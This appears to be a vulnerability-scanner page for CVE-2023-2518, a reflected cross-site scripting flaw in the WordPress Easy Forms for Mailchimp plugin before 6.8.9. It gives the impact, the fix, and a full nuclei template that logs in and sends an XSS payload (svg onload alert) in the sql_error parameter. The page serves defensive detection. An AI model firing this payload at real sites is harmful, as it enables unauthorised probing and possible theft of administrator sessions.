WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.1%likelihood of exploitation, next 30 days

66%of all CVEs are less likely

Readycheck to confirm it

The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.

Impact

Attackers can inject malicious JavaScript through the sql_error parameter when debug mode is enabled, potentially stealing administrator session cookies and gaining full control over the WordPress site.

Fix

Update Easy Forms for Mailchimp plugin to version 6.8.9 or later that properly sanitizes and escapes the sql_error parameter before output.

How to confirm it

Send: GET /
Positive when: contains "yikes-inc-easy-mailchimp-extender"
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=yikes-mailchimp-edit-form&sql_error=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
Positive when: contains "<svg/onload=alert(document.domain)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-2518 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-2518

info:
  name: WordPress Easy Forms for Mailchimp Plugin < 6.8.9 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Easy Forms for Mailchimp plugin before version 6.8.9 contains a reflected cross-site scripting vulnerability. The plugin does not properly sanitize and escape the sql_error parameter before outputting it back in the page when the debug option is enabled, which could allow attackers to execute arbitrary JavaScript code in an administrator's browser context.
  impact: |
    Attackers can inject malicious JavaScript through the sql_error parameter when debug mode is enabled, potentially stealing administrator session cookies and gaining full control over the WordPress site.
  remediation: |
    Update Easy Forms for Mailchimp plugin to version 6.8.9 or later that properly sanitizes and escapes the sql_error parameter before output.
  reference:
    - https://wpscan.com/vulnerability/ca120255-2c50-4906-97f3-ea660486db4c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2518
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2518
    cwe-id: CWE-79
    epss-score: 0.01092
    epss-percentile: 0.65699
    cpe: cpe:2.3:a:yikesinc:easy_forms_for_mailchimp:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: yikesinc
    product: easy_forms_for_mailchimp
    fofa-query: body="wp-content/plugins/yikes-inc-easy-mailchimp-extender/"
  tags: cve,cve2023,wp,wordpress,wp-plugin,xss,yikes-inc-easy-mailchimp-extender,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "yikes-inc-easy-mailchimp-extender"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        GET /wp-admin/admin.php?page=yikes-mailchimp-edit-form&sql_error=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(document.domain)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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